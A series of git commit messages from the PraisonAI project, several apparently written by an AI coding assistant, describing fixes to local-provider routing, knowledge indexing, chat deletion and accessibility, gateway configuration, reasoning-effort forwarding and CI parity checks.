- tools/shell-seam.test.mjs pins the Kotlin global and its payload to the
TypeScript constant: a rename on either side is otherwise silent.
- app/src/css.test.ts's double-count guard now knows both variable names, so
it did not go quiet across the rename.
On-device after the fix: `#root` carries `--inset-top: 48px; --inset-bottom:
24px` on first paint, the Settings heading starts at y=80 with 12px gutters and
scrolls, and the composer sits directly above the keyboard in both themes.
Co-authored-by: Claude Opus 5 <[email protected]>
Greptile flagged that test_local_provider_keeps_the_full_model_string only
checked the model suffix. A regression that dropped the provider prefix
(needed by litellm to route) would pass and fail only at request time.
Now assert config["provider"] equals the parsed provider_id too.
Co-authored-by: Mervin Praison <[email protected]>
The tool-call repair prompt asks the model to reply with a bare JSON tool
call as text content. That text was only reconstructed into a dispatchable
tool call for Ollama, so lm_studio/vllm/hosted_vllm/llama.cpp — the local
providers this branch newly enables repairs on — returned the repaired JSON
as the final answer and never executed the tool. Extend the text
reconstruction to cover local OpenAI-compatible providers.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
`parse_model_string` tells users, verbatim:
Cannot infer provider from model 'llama3'. Use the 'provider/model' form,
e.g. 'ollama/llama3', 'bedrock/anthropic.claude-3-sonnet'.
Following that advice failed a few lines later:
ValueError: Unknown praisonai.llm_providers plugin: 'ollama'.
Available: ['anthropic', 'custom-gateway', 'google', 'litellm-proxy',
'openai', 'openrouter', ...]
Only openai, anthropic and google had builtin loaders. `parse_model_string`
resolved 'ollama/llama3' to provider_id 'ollama' correctly; `create_llm_provider`
then rejected it.
Registers the local routes alongside them: ollama, ollama_chat, lm_studio, vllm
and hosted_vllm. All are resolved by litellm, which is exactly what the loader
these entries reuse (_make_litellm_factory) wraps, so this costs nothing beyond
the table entry.
`ollama_chat` is litellm's recommended prefix for Ollama tool calling;
`hosted_vllm` is its name for an OpenAI-compatible vLLM server.
Tests: 21 in src/praisonai/tests/unit/llm/test_registry_local_providers.py,
16 of which fail before this change. One asserts the literal example from the
error message now works. Two guard against turning the registry into a silent
accept-all: an unknown provider still raises, and a bare un-inferable model
still raises with the provider/model advice intact.
Co-Authored-By: Claude Opus 5 <[email protected]>
litellm resolves `ollama_chat/`, `lm_studio/`, `vllm/` and `hosted_vllm/`, but
`_detect_provider` matched only the bare `ollama/` prefix, so every other local
route fell through to "openai" and got DefaultAdapter with max_tool_repairs=0 -
no tool-call repair at all, for exactly the small local models that need it.
`ollama_chat/` is the sharpest case: it is litellm's *recommended* prefix for
Ollama tool calling, and it was the one spelling of Ollama the SDK did not
detect.
before after
ollama_chat/llama3.2 openai Default 0 ollama Ollama 2
lm_studio/qwen2.5-7b openai Default 0 local LocalOpenAI 2
vllm/Llama-3.1-8B openai Default 0 local LocalOpenAI 2
hosted_vllm/Qwen2.5 openai Default 0 local LocalOpenAI 2
`ollama_chat/` maps to the existing OllamaAdapter - it is the same server, so
it needs the same handling.
The OpenAI-compatible servers get a new LocalOpenAIAdapter instead, because
they differ from Ollama in the way that matters: LM Studio, vLLM and
llama-server implement the standard tool protocol correctly, so tool results
stay `role: "tool"` and streaming with tools works. Giving them OllamaAdapter
would apply its natural-language `role: "user"` rewrite and corrupt a
conversation those servers already handle properly. LocalOpenAIAdapter
therefore inherits DefaultAdapter's message handling and adds one thing: a
repair budget, for locally-served weights that occasionally emit a malformed
tool call.
`force_tool_usage` is deliberately not part of that default. It injects prompts
into every conversation, and vLLM commonly serves large, highly capable models
where that is unwanted noise. `max_tool_repairs` costs nothing unless a tool
call actually arrives malformed.
`huggingface/` is deliberately excluded - that prefix is the hosted Inference
API, not a local server.
Tests: 19 in src/praisonai/tests/unit/llm/test_local_provider_prefixes.py,
including guards that hosted OpenAI keeps repairs=0, that huggingface/ is not
treated as local, that an explicitly-passed max_tool_repairs is never
overridden, and that the local adapter keeps the OpenAI tool-message shape.
Verified end-to-end against a live Ollama 0.33.2: `ollama_chat/qwen3:0.6b` now
selects OllamaAdapter with repairs=2 and answers correctly. LM Studio and vLLM
were not installed on this machine, so their routing is asserted by unit test
but their end-to-end behaviour is unverified here.
Co-Authored-By: Claude Opus 5 <[email protected]>
Two isolated bugs in the chat-delete path this PR added:
- syncDeleteArming re-derived the title from parentElement.textContent,
folding in the visible relative time and the button's own word, so
arming produced labels like "Delete Trip plan5m agoConfirm". The clean
title is now carried on the delete button's own dataset and read back
from there on every arming pass.
- The confirmation title is looked up via session.list(), which reads
StoragePort and rejects on a real device. That read sat outside the
remove try and perform is invoked through a floating void, so a
rejection reached the global crash handler and replaced the whole app
with the fatal screen for a lookup that only decides a label. It now
degrades to the chat id and stays local.
Two new tests; 527 app/ui/testing tests pass.
Co-authored-by: Mervin Praison <[email protected]>
Each of these was implemented, unit- or contract-tested, and reachable from
no user gesture. The suite was green the entire time.
1. Deleting a conversation was impossible. `session.remove` ->
`repository.remove` -> `storage.remove` were all implemented and tested,
and `intents.ts` decoded a `delete-chat` intent with a test of its own --
but no element in the app carried that intent and `perform` had no case
for it, so a conversation once started could never be removed from the
device. Chat rows now carry a named Delete control; it takes two taps,
because this is the only irreversible action in the app and the control
sits millimetres from the one that opens the chat. Deleting the OPEN chat
clears it off screen, and a storage refusal is said rather than swallowed.
2. Transcript rows had no accessible name. `ui/src/a11y/names.ts` had eleven
tests and zero callers, so `accessibleName` was computed by nothing. A
tool row was announced as "rm, --" with no word for whether it failed; an
approval row went silent mid-decision, when every button on it is disabled
and a disabled button is announced as "dimmed" or skipped; an error row
read as bare provider prose with no `errorTitle`. `dom.ts` now labels
every row, on update as well as insert, and removes the label where
`accessibleName` answers null.
3. A tool's status reached the screen only as a border colour. `data-status`
is styled for `failed` and `ok` and NOT AT ALL for `unresolved`, so a tool
that never came back rendered identically to one still running -- the
exact defect the transcript layer says it exists to prevent.
`strings.toolStatus` was written for this and had no caller; the status is
now text on the row.
4. Chat rows showed no time. `buildChatList` computed `updatedLabel` for
every row on every visit and the renderer dropped it, so a list SORTED by
recency displayed none of it and two chats called "Untitled" were
indistinguishable. The label now reaches the visible row and its
accessible name from one string, so the two cannot drift.
5. `TimePort.epochMs` had zero callers. Every wall-clock read in `main.ts`
was a bare `Date.now()`, so the seam that makes time injectable ran past
its own port -- and the announcer's rate limit, an ELAPSED comparison, was
paced by the wall clock, which `core/src/ports/time.ts` forbids in as many
words: a backwards NTP correction mid-answer silences every further
streaming announcement.
Fifteen new tests, all of which fail without the change; twelve mutations,
each killed by a named test. `npm run check` exits 0 (1434 passing). The
delete flow is additionally proved end to end against the real bundle in
headless Chromium with real localStorage.
Co-Authored-By: Claude Opus 5 <[email protected]>
Item 1: Extract the byte-identical Click-parameter parse loop shared by
_get_run_option_names and _get_global_option_names into a single
_introspect_option_names helper. Each caller keeps its own cache, lock,
app import, and None-on-failure convention — routing behaviour is
identical, removing the hand-sync drift hazard on the bare-prompt path.
Item 2: Remove the orphan _rich_print alias in agents_generator.py
(unreferenced; the live copy lives in auto.py).
Co-authored-by: MervinPraison <[email protected]>
* feat(parity): count the options that are accepted and then ignored
The name gate asks whether an export exists. The signature gate asks whether a
parameter exists. Both pass for an option that is accepted, typed, documented
and then ignored -- so nothing counted those, and 76 of them accumulated across
five surfaces without a single number moving. That is the same blind spot this
tooling was built to remove, one level further in.
A third layer counts them:
PYTHONPATH=src/praisonai python3 -m praisonai._dev.parity.behaviour
behaviour parity: 76 options not yet acted on, across 5 surfaces; 10 partial
The source of truth is one ledger, UNHONOURED_OPTIONS in
src/praisonai-ts/src/utils/parity-notice.ts. The four surfaces that used to
carry their own private lists now iterate it, so the published count cannot
drift from what the code actually does. BEHAVIOUR_PARITY.md is generated from
it and doubles as the work queue: one row per option, grouped by the file that
owns it, so two people can take two rows without meeting in the same hunk.
The check is a ratchet. The committed report carries the total; --check fails
if the current total is higher. Closing an option lowers it and the tool says so
by name before asking you to bank it.
Building it found two defects in it, both caught by writing the controls first:
a renamed or unreadable ledger raised a traceback instead of failing cleanly,
which would have reported zero options outstanding on the way to crashing; and
closing an option printed only "report is out of date", burying the good news
under what reads as a reprimand. Ten tests pin all four states -- clean, grown,
closed, unreadable -- each positive paired with a control.
Wired in as a third named pull-request check, and regenerated on push to main
alongside the other two so the committed report stays current.
Names 0 gaps, signatures 0 missing of 222, behaviour 76 and now visible.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(parity): drive Handoff runtime notices from the shared ledger
Handoff reported unhonoured options by iterating HANDOFF_DEFAULTS keys, a
second hand-kept list parallel to UNHONOURED_OPTIONS.Handoff. The two could
drift, defeating the PR's one-source-of-truth goal. reportUnhonoured now
reads option names from unhonouredFor('Handoff') — the same ledger the
behaviour-parity gate counts — while HANDOFF_DEFAULTS supplies only the
default value each name is compared against.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(knowledge): index a file's contents, not its path
_process_single_input decided what to do from a hard-coded extension table
(.pdf .doc .txt .md .csv .json .xml .html, media, .zip). Anything else fell
to a branch commented "Treat as raw text content only if no file extension":
memories = [self.normalize_content(input_path)]
which stored the PATH, lowercased. Every source file lands there -- .py .js
.ts .go .rs .java .yaml .toml .sh .ipynb .rst -- so indexing a repository
built a knowledge base of lowercased filenames, reported success, and
retrieval found nothing. No error at any point.
Reproduced with the store stubbed:
auth.py stored: '/tmp/kbtest/auth.py' <- the path
auth.py stored: 'def authenticate(user):' <- after the fix
An existing file whose extension is unlisted is now read as UTF-8 and
chunked like any other text, with file_type/filename metadata. A file that
cannot be decoded raises instead of silently storing its own name. The
raw-text case the branch was written for -- a caller passing prose rather
than a path -- still works, and is now guarded by a test.
Note on the suite: seven tests in tests/unit/knowledge fail in this
environment because they call the real OpenAI embeddings API and this
project has no access to text-embedding-3-small. They fail identically on
a clean checkout, and they are unit tests making live billed calls, which
is worth separating. This change takes that directory from 14 failures to
7, and breaks nothing.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(knowledge): don't let file chunks be re-read as paths; always set file_type
A chunk ending in .txt/.pdf/.doc/.docx was re-dispatched through store()'s
file-path heuristic, so its content was mistaken for a filename and silently
dropped. store() now takes is_content=True to skip that heuristic for
already-read file contents. Also set metadata['file_type'] unconditionally
(empty for suffix-less files like Dockerfile) so the metadata contract holds.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Extra line break below Highlighted by Elon Musk and gaps between platform
download buttons for clearer layout.
Co-authored-by: Cursor <[email protected]>
Place macOS/Windows/Linux download buttons directly under the Highlighted by
Elon Musk badge at the top of the root README.
Co-authored-by: Cursor <[email protected]>
* fix: auto-enable gateway channels from present credential env vars (fixes#4779)
Bring a channel up with zero `channels:` config when a platform's
credential env var(s) are present. `export TELEGRAM_BOT_TOKEN=... &&
praisonai gateway` now starts a working Telegram bot instead of failing
closed. Explicit `channels:` entries and `enabled: false` always win.
- Add `_BUILTIN_CREDENTIAL_ENV` + `get_platform_credential_env()` to the bot
registry as the single in-tree source of truth (plugin channels
self-describe via their `ChannelDescriptor.config_fields`).
- Add `auto_enable_from_env` (default true) and per-channel `enabled` to the
gateway config schema, plus `_autofill_channels_from_env()` running before
the "no channels configured" guard.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: MervinPraison <[email protected]>
* fix: block env-only auto-enable when a required plugin field lacks env fallback
Greptile P1: get_platform_credential_env fell back from required to secret
fields, so a plugin descriptor with a required field lacking an env fallback
plus an env-backed secret would auto-enable from the secret alone, seeding a
channel that apply_channel_descriptor then rejects for the missing required
field — aborting the whole gateway. Now a plugin is only auto-enable-able when
every required field is env-sourceable; otherwise it returns () and is left
for explicit config. Adds plugin-descriptor regression tests.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
RuntimeResolver.resolve_runtime_instance calls
resolve_runtime(runtime_id=..., config_overrides=...), and both
RuntimeRegistryProtocol.resolve and RuntimeRegistry.resolve already declare
that argument, but the module-level wrapper in registry.py takes only
runtime_id. Every registry-backed resolution therefore raises TypeError,
which is not caught by the surrounding `except ValueError`.
Add the defaulted keyword and forward it. Existing one-argument callers are
unaffected.
* fix(cli): say when praisonai chat is ignoring an option
`chat_main` declares 39 parameters. `_run_legacy_terminal_chat` takes 13 of
them and builds an argparse Namespace with nine fields. Twelve reach neither,
and nothing forwards them indirectly -- there is no locals(), ctx.params or
**kwargs pass-through in the command body:
--knowledge --guardrails --web --reflection --planning --context
--execution --hooks --caching --ui-backend --no-color --theme
So `praisonai chat --planning auto --guardrails strict` looked like it had
configured something and had not: accepted, validated by typer, dropped.
Wiring twelve features up is twelve pieces of work. Saying so is one line.
The command now names exactly the unwired options the user actually supplied,
on stderr, and continues -- an untouched default is not a broken promise, so
click's parameter source is consulted rather than comparing values.
$ praisonai chat hi --planning auto --guardrails strict --theme dark
warning: praisonai chat does not implement --guardrails, --planning,
--theme yet; the value was ignored.
Correcting the report this came from: it claimed chat "reads none of" its 20
documented flags "including --continue". --continue IS read (chat.py sets
args.resume_session from it), as are --model, --memory, --tools, --toolset,
--user-id, --session, --workspace, --no-acp, --no-lsp and --verbose. Twelve
of thirty-nine are dropped, not all of them.
A test asserts the table matches reality, so implementing one of these fails
the build until it is removed from the list -- the warning cannot rot into a
lie. Mutation: removing the call turns the suite red.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(cli): make the chat unwired-options test deterministic
chat_main dispatches to AsyncTUI, not _run_legacy_terminal_chat, so the
test's stub of that function was dead and the command fell through to the
real credential gate — exiting 1 with no API key. Stub the actual runtime
(credential gate + AsyncTUI) so the warning is exercised without external
state, and correct the stale code comment.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* ci(ts): run praisonai-ts's own tests, and fix the suite that was failing
praisonai-ts has a 2,000-test suite and nothing ran it. The only workflow with
`working-directory: src/praisonai-ts` builds the package and checks the webview
bundle. The two other mentions of `npm test` under .github/ are a comment in
that workflow and a line of prose in claude.yml telling a reviewer to run it by
hand. So the suite was green the way an unread report is green.
The cost was already banked. `npm test` fails on main right now:
tests/integration/parity-features.test.ts:164 - error TS2353:
'id' does not exist in type 'string[]'
#4755 pointed the `Knowledge` export at the real store class ported from
praisonaiagents/knowledge/knowledge.py, whose `store()` takes text and whose
`search()` returns a SearchResult envelope, and left that test calling the old
`add({id, content})` shape against a bare array. It has been red since. Note
that `tsc --noEmit -p .` does NOT catch it -- tests are outside the project's
tsconfig, so only running them finds it. The test is rewritten against the real
surface, with a control for the empty-result case.
The new workflow is deliberately narrow, like its webview sibling: it runs only
when praisonai-ts changes, installs only what it needs (`--legacy-peer-deps`,
same reason as praisonai-ts-webview.yml), and asserts two things -- the package
typechecks, and its tests pass.
Verified locally with the workflow's exact commands: typecheck clean, 2,162
tests pass, 0 fail.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* test(ts): backend resolution tests no longer depend on the machine's API keys
The new CI job caught this on its first run: `resolveBackendSync › falls back
to native while AI SDK availability has not been checked` builds an Anthropic
provider, whose constructor throws 'ANTHROPIC_API_KEY is required'. It passed
on any machine with a key exported and failed in CI, where none is set.
Resolution is what the file tests, not authentication, so the keys are now
pinned to placeholders in beforeEach and restored in afterEach.
Verified by reproducing CI locally: with ANTHROPIC_API_KEY, OPENAI_API_KEY,
GOOGLE_API_KEY, GEMINI_API_KEY and the search-provider keys all unset, the
whole suite passes -- 2,162 tests, 0 failures.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(ts): four waivers were hiding real gaps, and one broke handoffs outright
Each of the 21 signature waivers was re-validated against both implementations
by constructing the objects and printing the result, rather than trusting the
reason text. Most were what they claimed. These were not.
HANDOFF TOOL NAMES WERE INVALID. Python builds `transfer_to_support_bot`
(handoff.py:401-403: lowercase, spaces to underscores). TypeScript built
`handoff_to_${agent.name}` -- so an agent named "Support Bot" produced
`handoff_to_Support Bot`, which contains a space and fails the provider's
`^[a-zA-Z0-9_-]{1,64}$` function-name rule. Every handoff from an agent with a
space in its name was rejected by the API. simple.ts had a third spelling of
its own (`transfer_to_Support_Bot`); all three now go through one helper.
`agent.start()` DID NOT WORK. Python's `start(prompt=None)` falls back to
`self.instructions or "Hello"` (execution_mixin.py:873). TypeScript required
the argument, so the documented no-argument call was a compile error. The
waiver called this an accepted difference. It is now optional with the same
fallback, and the waiver is deleted.
THE DEFAULT MODEL IGNORED YOUR CREDENTIALS. Python walks
`_PROVIDER_DEFAULT_MODELS` (agent.py:309-317) and picks a model matching
whichever key is present; TypeScript hardcoded `gpt-4o-mini`. A user whose only
credential was ANTHROPIC_API_KEY got an OpenAI model that cannot authenticate.
The table is ported byte for byte in src/llm/default-model.ts.
TOOL AND ROLE DEFAULTS DIFFERED IN TEXT THE MODEL READS. `tool()` described
itself as "Function search" where Python says "Tool: search", the handoff
description dropped the agent's role and goal, and `role`/`goal`/`backstory`
were read once and never stored, so Python's "Assistant" default was absent.
Two waivers were simply false and are deleted: `tool().requires_approval`
(TypeScript already distinguishes undefined from false, decorator.ts:174-182 --
the checker now understands Python's `_UNSET` sentinel via a
`default_expr_equivalences` rule), and `Agent.start.prompt` above. Four more
claimed Python "resolves lazily" when it resolves eagerly in `__init__` with
the same value; harmless, but the reasons are rewritten to say what is true.
`Agent.__init__.caching` stays waived, for a different reason than stated:
Python's `caching=None` does resolve to enabled, but `Agent.cache` is written
and never read anywhere in praisonaiagents. Matching it would have switched
caching on and diverged behaviour, so the dead flag is documented instead.
Also closes the checker's own blind spot: it could not address a class whose
constructor takes positional parameters with no options interface, so
FileTracker and Knowledge were unchecked. `kind: method, name: constructor`
now resolves the constructor declaration, preferring the implementation over an
overload signature since only the implementation carries defaults. Both new
surfaces are clean: 17 surfaces, 222 parameters, 0 missing.
Reported, not fixed, each deserving its own review: Task(id=5).id is "5" in
Python and 5 in TypeScript; TypeScript lists `routing` as engine-level so it
announces itself and never runs; TypeScript accepts any `process` string where
Python raises, and implements "parallel", which Python rejects; and the system
prompt built from role/goal/backstory still differs word for word.
Verified with no credentials in the environment, the way CI runs: 2,184
TypeScript tests and 132 Python tests pass, both parity gates report OK.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(ts): cap default handoff tool name at the provider's 64-char limit
A name over 52 characters produced a `transfer_to_...` string longer than
the provider's `^[a-zA-Z0-9_-]{1,64}$` function-name rule, rejected before
the handoff ran. Python does not truncate either, so this cap keeps the
common case byte-identical while turning the pathological long-name case
from a hard API rejection into a usable name.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* ci(ts): run praisonai-ts's own tests, and fix the suite that was failing
praisonai-ts has a 2,000-test suite and nothing ran it. The only workflow with
`working-directory: src/praisonai-ts` builds the package and checks the webview
bundle. The two other mentions of `npm test` under .github/ are a comment in
that workflow and a line of prose in claude.yml telling a reviewer to run it by
hand. So the suite was green the way an unread report is green.
The cost was already banked. `npm test` fails on main right now:
tests/integration/parity-features.test.ts:164 - error TS2353:
'id' does not exist in type 'string[]'
#4755 pointed the `Knowledge` export at the real store class ported from
praisonaiagents/knowledge/knowledge.py, whose `store()` takes text and whose
`search()` returns a SearchResult envelope, and left that test calling the old
`add({id, content})` shape against a bare array. It has been red since. Note
that `tsc --noEmit -p .` does NOT catch it -- tests are outside the project's
tsconfig, so only running them finds it. The test is rewritten against the real
surface, with a control for the empty-result case.
The new workflow is deliberately narrow, like its webview sibling: it runs only
when praisonai-ts changes, installs only what it needs (`--legacy-peer-deps`,
same reason as praisonai-ts-webview.yml), and asserts two things -- the package
typechecks, and its tests pass.
Verified locally with the workflow's exact commands: typecheck clean, 2,162
tests pass, 0 fail.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* test(ts): backend resolution tests no longer depend on the machine's API keys
The new CI job caught this on its first run: `resolveBackendSync › falls back
to native while AI SDK availability has not been checked` builds an Anthropic
provider, whose constructor throws 'ANTHROPIC_API_KEY is required'. It passed
on any machine with a key exported and failed in CI, where none is set.
Resolution is what the file tests, not authentication, so the keys are now
pinned to placeholders in beforeEach and restored in afterEach.
Verified by reproducing CI locally: with ANTHROPIC_API_KEY, OPENAI_API_KEY,
GOOGLE_API_KEY, GEMINI_API_KEY and the search-provider keys all unset, the
whole suite passes -- 2,162 tests, 0 failures.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix(agent): send reasoning effort to the provider on the streaming paths
The desktop ships a Settings -> Models -> "Reasoning effort" control, and
its help text says "Maps to each backend's native knob". The engine
persists it and forwards it into agent.start(**kwargs). Neither streaming
branch of _start_stream_impl ever read it -- `grep -c reasoning_effort
chat_mixin.py` returned 0 -- so every level from minimal to high produced a
byte-identical provider request, with no error and no warning.
Measured against a real Agent with only the transport faked:
before o4-mini, reasoning_effort="high"
provider request keys: ['messages','model','stream','temperature']
after o4-mini high -> {'reasoning_effort': 'high'}
o4-mini off -> {}
o4-mini unset -> {}
gpt-4o-mini high -> {} (no reasoning knob; untouched)
Both branches now resolve the level from the call kwarg, falling back to the
agent attribute, and the plain-OpenAI branch routes it through the existing
thinking.effort.resolve_reasoning_params -- which returns {} for "off", for
an unset level and for a model with no reasoning control, so the default
stays a no-op and Anthropic/Gemini get a thinking budget rather than an
OpenAI-shaped key.
This is the same shape as #4725: an enumeration of forwarded kwargs that a
new setting was never added to. reasoning_effort was the third.
The guard that should have caught it, engine/test_chat_stream.py, asserts
against a stub agent that records the kwargs it was handed, so it passed
while the real Agent discarded the value. The new tests assert on what the
transport actually receives. 3 mutations killed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(agent): route non-native reasoning params through extra_body on the OpenAI stream path
resolve_reasoning_params can emit a provider-specific `thinking` budget for an
extended-thinking-named model reached over the direct OpenAI-client stream path.
The raw OpenAI SDK rejects unknown top-level kwargs with TypeError, so send
`reasoning_effort` top-level and any other resolved control (e.g. `thinking`)
inside `extra_body`. Adds tests asserting the split.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: wire turn-execution seam into gateway dispatch (fixes#4766)
Add GatewayConfig.executor (default None => InProcessTurnExecutor) and
route WebSocketGateway._drive_turn through executor.place/execute_turn,
tearing down only the offending session's worker on WorkerWedgedError
instead of the process-wide os._exit. Default preserves today's
in-process, on-loop behaviour byte-for-byte.
Co-authored-by: Mervin Praison <[email protected]>
* fix: classify wedged turn as failure outcome, not ok (#4766)
A WorkerWedgedError caught in _drive_turn returned a plain reply string, so
_run_session_queue kept outcome_status="ok" and persisted/delivered the wedge
notice as a successful assistant turn. Return a _TerminalTurn (str subclass)
carrying outcome_status="error" so the session queue reports the true terminal
outcome while all existing string consumers stay unchanged.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: surface degraded fact when idempotency store_backend='redis' (fixes#4768)
The redis idempotency backend is unimplemented and previously fell back
silently (debug log only) to a per-process in-memory store, unlike the
SQLite-failure path which records a durability-degraded fact. A
multi-replica gateway configured with store_backend="redis" thus reported
healthy while doing per-replica dedup, double-processing fan-out/retried
deliveries.
Now the redis branch mirrors the SQLite-failure path: it records
record_durability_degraded("idempotency", "... running per-replica") so
health()/gateway status/gateway doctor surface it, and falls back to the
durable SQLite store (cross-restart dedup, cross-replica with a shared
state file) instead of per-process memory.
Co-authored-by: Mervin Praison <[email protected]>
* fix(idempotency): don't mask in-memory degradation on redis+sqlite double failure (#4768)
When store_backend='redis' is selected and the durable SQLite fallback
*also* fails, _sqlite() records the accurate "running in-memory" degraded
fact. The redis branch then unconditionally overwrote it with the milder
"running per-replica" reason, masking that dedup is process-local and
lost on restart (Greptile P1).
_sqlite() now returns (store, durable); the redis branch only records the
per-replica downgrade when SQLite actually came up. Adds a regression test
for the combined-failure path.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: add freeze-thaw host-suspend gap detector for gateway (fixes#4767)
Add a pure, dependency-free core policy that detects an involuntary host
suspend (laptop sleep, VM pause/migrate) by comparing elapsed monotonic
vs wall-clock deltas between ticks. A wall-clock delta running far ahead
of monotonic is the signature of a frozen process the LoopWatchdog cannot
see. Returns a ThawDecision the wrapper uses to restart channel sockets
(idle-gated), refresh presence and reconcile the scheduler on thaw.
Mirrors the existing ScaleToZeroPolicy/DrainTimeoutPolicy pattern; default
seeds a baseline on first tick so current behaviour is preserved when no
gap occurs.
Co-authored-by: Mervin Praison <[email protected]>
* fix: reject forward wall-clock corrections in thaw detector (Greptile P1)
Require CLOCK_MONOTONIC to have stalled below one tick before classifying
a wall-vs-monotonic divergence as a host suspend, so an NTP step / manual
clock set on a running process no longer triggers transport restart and
schedule reconciliation. Adds a regression test.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(desktop): offer non-OpenAI models in the form that actually works
Correcting my own #4756, which pruned Claude, Gemini and Ollama from the
model picker on the premise that the engine rejects them. That premise no
longer holds.
#4721 added the praisonai wrapper to ENGINE_PACKAGES, and praisonai declares
litellm>=1.83.14 in its core dependencies. So a freshly provisioned venv now
has litellm, #4722's guard (`model_needs_litellm(model) and not
litellm_available()`) does not fire, and slashed ids run.
What was actually wrong with the original list was the FORM, not the models:
"claude-sonnet-4-20250514" and "gemini-2.0-flash" are bare ids, so they take
the plain-OpenAI client path and get sent to api.openai.com with the user's
OpenAI key -- failing with an OpenAI error that names platform.openai.com.
Only a slashed id routes through litellm to the right provider.
So the suggestions are back, in slashed form. On an install that predates
#4721 and has no litellm, #4722's guard still refuses them with a message
that names the remedy -- which is a good error, unlike the OpenAI one.
Verified against the guard: all seven suggestions are accepted where litellm
is present. 240 engine tests and 190 frontend tests pass; the drift test
keeps the three registry copies in step.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(desktop): explain the litellm route for provider-prefixed model ids
The Default model field now offers anthropic/…, gemini/… and ollama/…
suggestions, but its description only described the Base-URL + bare-id
route — making the provider-prefixed options look broken. Clarify that a
provider-prefixed id routes through litellm (API key in env, or local
Ollama), while a Base URL is for an OpenAI-compatible endpoint. Registry
copies regenerated via sync-registry.mjs; drift check green.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(llm): keep the rate-limit indicator list in step with the classifier
test_rate_limit_backward_compat has been red on main. It asserts that
LLM._is_rate_limit_error agrees with error_classifier.classify_error, and
they disagreed on exactly one phrasing:
'quota exceeded' _is_rate_limit_error=False classify_error=RATE_LIMIT
classify_error is the one the runtime consults. _is_rate_limit_error has no
production callers at all -- grepping the monorepo finds only its definition
and three test files -- so the two drifted with nothing to notice.
The classifier is right, and deliberately narrow about it: 'quota exceeded'
(Gemini's phrasing for a per-minute limit) classifies as RATE_LIMIT, while
'You exceeded your current quota' and 'insufficient_quota' classify as
PERMANENT. Substring matching preserves that distinction, since neither
permanent phrasing contains 'quota exceeded'.
Nothing caught this because praisonai-agents' unit tree is run by no CI
workflow (#4748).
45 tests pass in tests/unit/llm/test_error_classifier.py. The one remaining
failure in tests/test_rate_limiter_retry.py,
test_no_retry_on_non_rate_limit_error, is pre-existing on main and unrelated
to this change (verified by running it on a clean checkout).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(parity): regenerate stale signature-parity artifacts; clarify rate-limit helper comment
The signatures parity gate was red because SIGNATURE_PARITY.md and
signature-parity.json referenced stale Python line numbers (agent.py:583->603,
execution_mixin.py:831->832) shifted by unrelated prior commits. Zero signature
drift (0 missing, 21 waived); regenerated via --write.
Also correct the _is_rate_limit_error comment: this helper has no production
callers (the runtime retry path uses classify_error_kind() /
resolve_failover_decision()); it is test-only and kept in step with
error_classifier.classify_error() via test_rate_limit_backward_compat.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The signature gate compared SIGNATURE_PARITY.md byte for byte, and the report
records source locations as `file.ext:LINE`. So editing an unrelated part of a
covered file shifted those numbers and reddened the build over a difference
that says nothing about parity. It is already failing on main: #4765 added
